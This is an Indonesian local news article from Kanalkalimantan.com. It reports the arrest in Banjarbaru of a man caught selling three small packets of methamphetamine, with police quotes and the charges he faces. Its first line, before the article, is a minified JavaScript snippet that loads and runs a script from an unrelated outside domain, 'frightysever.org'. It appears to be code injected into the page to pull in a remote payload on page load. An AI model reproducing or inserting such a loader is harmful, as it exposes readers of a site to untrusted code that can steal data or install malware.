(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tengah malam seorang lelaki kedapatan bertransaksi narkoba di Jalan Pendidikan Masyarakat, Kelurahan Kemuning, Kota Banjarbaru.
Lelaki berinisial JI (30) asal Mentaos, Kecamatan Banjarbaru Utara, tertangkap tangan Unit Opsnal Reskrim Polsek Banjarbaru Utara yang sedang berpatroli pada Jumat (10/1/2025) lalu, sekitar pukul 23.30 Wita.
JI kedapatan membawa tiga paket narkotika jenis sabu untuk kemudian dijual kembali.
Peristiwa ini diungkap Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda, melalui Kapolsek Banjarbaru Utara Kompol Heru Setiawan, Selasa (14/1/2025) pagi.
Baca juga: Jadi ‘PR’ Baru Pemko Banjarbaru, Aturan Masuk ke Taman Van Der Pijl
“Bermula dari informasi masyarakat, dimana petugas kemudian melakukan penyelidikan hingga mendapati ciri-ciri pelaku,” ujar Kapolres Banjarbaru AKBP Pius X Febry Aceng Loda melalui Kapolsek Banjarbaru Utara Kompol Heru Setiawan.
Saat melakukan pengintaian, polisi mendapati seseorang yang gerak gerik yang mencurigakan menggunakan sepeda motor Yamaha NMAX memasuki sebuah gang.
“Saat didekati, lelaki itu melakukan transaksi narkoba, petugas langsung bergerak menangkap pelaku,” ungkapnya.
Sementara pelaku yang tertangkap tangan sempat terkejut, kemudian mengambil senjata tajam dari pinggang sebelah kanannya. Dengan kesigapan petugas berhasil mengamankan senjata tajam tersebut.
Baca juga: Kecolongan Truk Besar ‘Bebas’ Masuk Dalam Kota, Dishub Banjarmasin Baru Akan Beraksi
Dari hasil penggeledahan yang dilakukan, petugas menemukan tiga paket narkotika jenis sabu dari JI.
“Untuk barang bukti yang disita diantaranya tiga paket sabu isi 0,08 gram, 0,02 gram, dan 0,38 gram, serta barang bukti lainnya,” sebut dia.
Adapun pelaku dan barang bukti saat ini telah diamankan di Mapolsek Banjarbaru Utara untuk melakukan pengembangan.
Pelaku dijerat dengan pasal 114 ayat (1) Sub Pasal 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika dengan ancaman hukuman paling lama 12 Tahun kurungan penjara. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Turnamen Sepakbola Bawahan Selan Cup tahun 2025 secara resmi dibuka Bupati Banjar… Read More
KANALKALIMANTAN.COM, KOTABARU - Ketua DPRD Kabupaten Kotabaru, Suwanti mengunjungi rumah duka sekaligus memberikan penghormatan terakhir kepada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dugaan pelecehan seksual yang dialami seorang tenaga kesehatan (Nakes) perempuan salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru kembali memulai percepatan rencana pembangunan tiga proyek strategis… Read More
KANALKALIMANTAN.COM, BANJARBARU - Tahapan sidang sengketa Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ketua Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) Mislena Marangkir… Read More
This website uses cookies.